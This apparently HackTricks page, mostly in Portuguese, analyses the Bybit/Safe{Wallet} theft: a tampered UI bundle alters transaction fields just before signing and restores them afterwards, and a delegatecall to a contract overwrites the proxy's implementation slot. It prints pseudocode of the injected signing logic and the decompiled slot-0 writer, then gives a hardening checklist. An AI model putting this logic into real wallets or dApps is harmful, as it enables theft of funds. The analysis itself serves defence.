Comprometimento do Fluxo de Assinatura Web3 & Safe Delegatecall Proxy Takeover
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Visão geral
Uma cold-wallet theft chain combinou a supply-chain compromise of the Safe{Wallet} web UI com uma on-chain delegatecall primitive that overwrote a proxy’s implementation pointer (slot 0). Os pontos principais são:
- Se uma dApp puder injetar código no caminho de assinatura, ela pode fazer com que um signer produza uma EIP-712 signature over attacker-chosen fields enquanto restaura os dados originais da UI para que outros signers permaneçam desavisados.
- Safe proxies store
masterCopy(implementation) at storage slot 0. A delegatecall para um contrato que escreve no slot 0 efetivamente “upgrades” o Safe para a lógica do attacker, dando controle total da wallet.
Off-chain: Targeted signing mutation in Safe
A tampered Safe bundle (_app-*.js) atacou seletivamente endereços específicos de Safe + signer. A lógica injetada foi executada logo antes da chamada de assinatura:
// Pseudocode of the malicious flow
orig = structuredClone(tx.data);
if (isVictimSafe && isVictimSigner && tx.data.operation === 0) {
tx.data.to = attackerContract;
tx.data.data = "0xa9059cbb..."; // ERC-20 transfer selector
tx.data.operation = 1; // delegatecall
tx.data.value = 0;
tx.data.safeTxGas = 45746;
const sig = await sdk.signTransaction(tx, safeVersion);
sig.data = orig; // restore original before submission
tx.data = orig;
return sig;
}
Attack properties
- Context-gated: hard-coded allowlists para os Safes/signers das vítimas impediram ruído e reduziram a detecção.
- Last-moment mutation: fields (
to,data,operation, gas) foram sobrescritos imediatamente antes designTransaction, então revertidos, de modo que os payloads de proposta na UI pareciam benignos enquanto as signatures correspondiam ao payload do atacante. - EIP-712 opacity: wallets exibiam structured data mas não decodificavam nested calldata nem ressaltavam
operation = delegatecall, fazendo com que a mensagem mutada fosse efetivamente assinada às cegas.
Gateway validation relevance
Propostas Safe são submetidas ao Safe Client Gateway. Antes das verificações reforçadas, o gateway podia aceitar uma proposta onde safeTxHash/signature correspondiam a campos diferentes do corpo JSON se a UI os regravasse pós-signing. Após o incidente, o gateway agora rejeita propostas cujo hash/signature não correspondem à transação submetida. Verificação similar de hash no lado servidor deve ser aplicada em qualquer signing-orchestration API.
2025 Bybit/Safe incident highlights
- O drain da cold-wallet da Bybit em 21 de fevereiro de 2025 (~401k ETH) reutilizou o mesmo padrão: um bundle Safe S3 comprometido disparava apenas para os signers da Bybit e trocava
operation=0→1, apontandotopara um contrato atacante pré-deployado que escreve o slot 0. _app-52c9031bfa03da47.jscacheado no Wayback mostra a lógica condicionada ao Safe da Bybit (0x1db9…cf4) e aos endereços dos signers, então foi imediatamente revertido para um bundle limpo dois minutos após a execução, espelhando o truque “mutate → sign → restore”.- O contrato malicioso (ex.:
0x9622…c7242) continha funções simplessweepETH/sweepERC20além de umtransfer(address,uint256)que escreve o implementation slot. A execução deexecTransaction(..., operation=1, to=contract, data=transfer(newImpl,0))mudou a implementação do proxy e concedeu controle total.
On-chain: Delegatecall proxy takeover via slot collision
Os proxies Safe mantêm masterCopy no storage slot 0 e delegam toda a lógica a ele. Como o Safe suporta operation = 1 (delegatecall), qualquer transação assinada pode apontar para um contrato arbitrário e executar seu código no contexto de storage do proxy.
Um contrato atacante imitava um transfer(address,uint256) de ERC-20 mas, em vez disso, escreveu _to no slot 0:
// Decompiler view (storage slot 0 write)
uint256 stor0; // slot 0
function transfer(address _to, uint256 _value) external {
stor0 = uint256(uint160(_to));
}
Caminho de execução:
- As vítimas assinam
execTransactioncomoperation = delegatecall,to = attackerContract,data = transfer(newImpl, 0). - O Safe
masterCopyvalida as assinaturas sobre esses parâmetros. - O proxy realiza
delegatecallparaattackerContract; o corpo detransferescreve no slot 0. - O slot 0 (
masterCopy) agora aponta para lógica controlada pelo atacante → tomada completa da carteira e drenagem dos fundos.
Notas sobre Guard & versão (endurecimento pós-incidente)
- Safes >= v1.3.0 podem instalar um Guard para vetar
delegatecallou aplicar ACLs emto/selectors; Bybit rodava v1.1.1, então não existia hook de Guard. Atualizar contratos (e readicionar owners) é necessário para obter esse plano de controle.
Checklist de detecção e endurecimento
- Integridade da UI: fixar JS assets / SRI; monitorar diffs do bundle; tratar a UI de assinatura como parte do limite de confiança.
- Validação no momento da assinatura: hardware wallets com EIP-712 clear-signing; renderizar explicitamente
operatione decodificar calldata aninhada. Rejeitar assinatura quandooperation = 1a menos que a política permita. - Verificações de hash no servidor: gateways/serviços que retransmitem propostas devem recomputar
safeTxHashe validar que as assinaturas correspondem aos campos submetidos. - Política/listas permitidas: regras preflight para
to, selectors, tipos de ativos, e bloqueardelegatecallexceto para fluxos validados. Exigir um serviço de política interno antes de broadcastar transações totalmente assinadas. - Design de contratos: evitar expor
delegatecallarbitrário em multisig/treasury wallets a menos que estritamente necessário. Colocar ponteiros de upgrade longe do slot 0 ou proteger com lógica de upgrade explícita e controle de acesso. - Monitoramento: alertar sobre execuções de
delegatecallde wallets que detêm fundos da tesouraria, e sobre propostas que alteramoperationde padrões típicos decall.
Referências
- AnChain.AI forensic breakdown of the Bybit Safe exploit
- Zero Hour Technology analysis of the Safe bundle compromise
- In-depth technical analysis of the Bybit hack (NCC Group)
- EIP-712
- safe-client-gateway (GitHub)
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.


